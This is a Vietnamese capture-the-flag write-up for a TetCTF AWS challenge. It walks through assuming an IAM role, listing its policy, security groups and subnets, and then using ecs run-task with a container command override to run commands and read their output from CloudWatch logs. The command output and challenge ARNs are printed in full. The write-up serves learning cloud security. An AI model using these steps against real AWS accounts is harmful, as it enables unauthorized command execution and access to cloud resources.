Microservices (200)

Bài này chỉ cho ta ARN Role, để tìm hiểu ARN Role là gì và cách dùng nó như thế nào, các bạn có thể tham khảo:

Để sử dụng được ARN Role mình sẽ assume role với một credentials bất kỳ, mình sẽ sử dụng credentials đã có từ bài trước

Ta sẽ có file configure như sau

Từ config này mình sẽ assume role cho cloud1 có thể truy cập được resources mà role cho phép với cmd sau:

aws sts assume-role --role-arn arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --role-session-name test --profile cloud2

Khi có được key rồi thì configure như bài 1 là được

Đầu tiên mình check policy để xem mình có thể làm được gì với role đề cho

└─$ aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77 --profile test
{
    "RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
    "PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ecs:RunTask",
                "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy",
                    "ecs:ListClusters",
                    "ec2:DescribeSecurityGroups",
                    "ec2:DescribeSubnets"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Effect": "Allow",
                "Action": "iam:PassRole",
                "Resource": [
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
                ]
            },
            {
                "Sid": "Statement1",
                "Effect": "Allow",
                "Action": [
                    "logs:GetLogEvents",
                    "logs:DescribeLogStreams",
                    "logs:DescribeLogGroups"
                ],
                "Resource": [
                    "arn:aws:logs:eu-west-2:543303393859:*"
                ]
            }
        ]
    }
}

Nhìn ở trên thì ta biết được:

  • Ta có thể thực thi RunTask với ECS

  • Ta có thể enum IAM và EC2

  • Ta có thể thực hiện PassRole. Passrole là tính năng cho phép cấp quyền cho user truy cập đến role mà cụ thể ở đây là 2 role role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH

  • Cuối cùng ta có thể check logs (lúc này mình không rõ log này là log gì)

Note: để ý kỹ thì mọi action mà ta có quyền thực hiện đều có region là eu-west-2 . Do đó ta phải configure region lại thành eu-west-2

Mình sẽ đi vào từng chức năng từ trên xuống.

Đầu tiên ta có thể thực thi ecs:Runtask, các bạn có thể tìm hiểu thêm về ecs service trong aws tại đây

Nói cho dễ hiểu thì ecs là service cho phép quản lý các docker container trên amazon cloud, mỗi container sẽ có nhiệm vụ riêng, ta gọi là task, nhiều container sẽ được sử dụng kết hợp với nhau để cấu thành service (đó cũng chính là lý do vì sao bài này tên là Microservices)

Ý tưởng đầu tiên của mình là gọi được task và tìm hiểu hành vi của nó để lợi dụng. Với chall này để gọi được task thì ta cần

  • --task-definition : đã biết

  • --cluster : có thể lấy bằng ecs:ListClusters (cluster có thể hiểu đơn giản là một goup của các containers)

  • --network-configuration : ta cũng có đủ thông tin cho options này

Lấy Cluster name

Format của --network-configuration có dạng như sau:

Ta dễ dàng lấy được qua ec2:DescribeSecurityGroupsec2:DescribeSubnets

GroupId

└─$ aws ec2 describe-security-groups --profile test
{
    "SecurityGroups": [
        {
            "Description": "Security Group for CTF ECS tasks",
            "GroupName": "TetCtf2Stack-CtfSecurityGroupA7633774-1DAGZMZKB7EY4",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0f6583e3532e99a62",
            "IpPermissionsEgress": [
                {
                    "FromPort": 252,
                    "IpProtocol": "icmp",
                    "IpRanges": [
                        {
                            "CidrIp": "255.255.255.255/32",
                            "Description": "Disallow all traffic"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "ToPort": 86,
                    "UserIdGroupPairs": []
                }
            ],
            "Tags": [
                {
                    "Key": "aws:cloudformation:stack-name",
                    "Value": "TetCtf2Stack"
                },
                {
                    "Key": "aws:cloudformation:logical-id",
                    "Value": "CtfSecurityGroupA7633774"
                },
                {
                    "Key": "aws:cloudformation:stack-id",
                    "Value": "arn:aws:cloudformation:eu-west-2:543303393859:stack/TetCtf2Stack/54b3d720-bc03-11ee-9235-06cbbf25eaf7"
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": [
                        {
                            "GroupId": "sg-2a62a941",
                            "UserId": "543303393859"
                        }
                    ]
                }
            ],
            "OwnerId": "543303393859",
            "GroupId": "sg-2a62a941",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-5744993f"
        },
        {
            "Description": "default VPC security group",
            "GroupName": "default",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0e0be2c862c2b3241",
            "IpPermissionsEgress": [],
            "VpcId": "vpc-07e8cd02a7c992f43"
        },
        {
            "Description": "GET FLAG",
            "GroupName": "TetCTF-GETFLAG",
            "IpPermissions": [],
            "OwnerId": "543303393859",
            "GroupId": "sg-0636ad23bae6f21e7",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-07e8cd02a7c992f43"
        }
    ]
}

Lưu ý: ta sẽ dùng GroupID của GroupName TetCTF-GETFLAGsg-0636ad23bae6f21e7 . Lý do thì sẽ biết sau

SubnetId

Thực thi ecs:RunTask

Tuy nhiên vẫn chưa được vì còn thiếu gì đó, sau một hồi search gg thì mình biết có 3 mode để tạo instance cho container là EC2, FARGATE và EXTERNAL. Đối với bài này thì chỉ có FARGATE là có thể run task

└─$ aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 --cluster CtfEcsCluster --network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7]}" --launch-type FARGATE --profile test
{
    "tasks": [
        {
            "attachments": [
                {
                    "id": "30cb9cbf-cfa7-4ac6-be42-5dcf94e0bb6a",
                    "type": "ElasticNetworkInterface",
                    "status": "PRECREATED",
                    "details": [
                        {
                            "name": "subnetId",
                            "value": "subnet-05dc4f12caf437c48"
                        }
                    ]
                }
            ],
            "attributes": [
                {
                    "name": "ecs.cpu-architecture",
                    "value": "x86_64"
                }
            ],
            "availabilityZone": "eu-west-2a",
            "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
            "containers": [
                {
                    "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/cf2c5c1b8c0041b699078d1aeb485503/2e74da1d-75b0-4614-8804-0d7681daca30",
                    "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/cf2c5c1b8c0041b699078d1aeb485503",
                    "name": "CtfContainer",
                    "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
                    "lastStatus": "PENDING",
                    "networkInterfaces": [],
                    "cpu": "0"
                }
            ],
            "cpu": "1024",
            "createdAt": 1706716630.41,
            "desiredStatus": "RUNNING",
            "enableExecuteCommand": false,
            "group": "family:TetCtf2StackCtfTaskDefB40F186A",
            "lastStatus": "PROVISIONING",
            "launchType": "FARGATE",
            "memory": "2048",
            "overrides": {
                "containerOverrides": [
                    {
                        "name": "CtfContainer"
                    }
                ],
                "inferenceAcceleratorOverrides": []
            },
            "platformVersion": "1.4.0",
            "platformFamily": "Linux",
            "tags": [],
            "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/cf2c5c1b8c0041b699078d1aeb485503",
            "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
            "version": 1,
            "ephemeralStorage": {
                "sizeInGiB": 20
            }
        }
    ],
    "failures": []
}

Sau khi gọi được task thì mình bí hoàn toàn không biết làm gì tiếp theo

Nhớ lại đề còn cho phép mình PassRole và xem logs, nên mình check lại cả 2, thì kết quả từ logs có vẻ khá khả quan

Mình nhận thấy sẽ có logs đối với /ecs/tet-ctf:* , hay chính là task mà mình thực thi, thử thực thi task và check logs ta sẽ được (nếu ta gọi task không phải bằng GroupID của TetCTF-GETFLAGthì ta sẽ không thấy logs)

Đến đây mình tiếp tục bí và không biết phải làm gì với đống logs này

Quay trở lại với hành vi run-task, mình thắc mắc không biết liệu có một tính năng nào đó có thể giúp thực thi command hay không. Search cả ngày trời không ra kết quả, nhưng khi hỏi ChatGPT thì mình có câu trả lời 🐢🐢🐢

Options --overide sẽ cho phép ta ghi đè command sẽ thực thi kèm với quá trình khởi tại của container. Tuy nhiên cmd thực thi không trả về output

└─$ aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 --cluster CtfEcsCluster --network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7]}" --launch-type FARGATE --profile test --overrides '{"containerOverrides": [{"name": "CtfContainer", "command": ["id"]}]}'
{
    "tasks": [
        {
            "attachments": [
                {
                    "id": "d39de2d8-14a4-42eb-934b-bef7704c3dc5",
                    "type": "ElasticNetworkInterface",
                    "status": "PRECREATED",
                    "details": [
                        {
                            "name": "subnetId",
                            "value": "subnet-05dc4f12caf437c48"
                        }
                    ]
                }
            ],
            "attributes": [
                {
                    "name": "ecs.cpu-architecture",
                    "value": "x86_64"
                }
            ],
            "availabilityZone": "eu-west-2a",
            "clusterArn": "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster",
            "containers": [
                {
                    "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/eecf1f8af5c24f34be5bc4507c837909/7bc76a3c-9f5b-4e1a-a8e8-bcc9dd1a3c5e",
                    "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/eecf1f8af5c24f34be5bc4507c837909",
                    "name": "CtfContainer",
                    "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
                    "lastStatus": "PENDING",
                    "networkInterfaces": [],
                    "cpu": "0"
                }
            ],
            "cpu": "1024",
            "createdAt": 1706716669.563,
            "desiredStatus": "RUNNING",
            "enableExecuteCommand": false,
            "group": "family:TetCtf2StackCtfTaskDefB40F186A",
            "lastStatus": "PROVISIONING",
            "launchType": "FARGATE",
            "memory": "2048",
            "overrides": {
                "containerOverrides": [
                    {
                        "name": "CtfContainer",
                        "command": [
                            "id"
                        ]
                    }
                ],
                "inferenceAcceleratorOverrides": []
            },
            "platformVersion": "1.4.0",
            "platformFamily": "Linux",
            "tags": [],
            "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/eecf1f8af5c24f34be5bc4507c837909",
            "taskDefinitionArn": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
            "version": 1,
            "ephemeralStorage": {
                "sizeInGiB": 20
            }
        }
    ],
    "failures": []
}

Mình check thử OutBound thì cũng không có kết quả (quá dễ đoán)

Lúc này thì logs phát huy công dụng, mình thử check logs và có được output

Việc bây giờ chỉ là tìm flag thôi

Last updated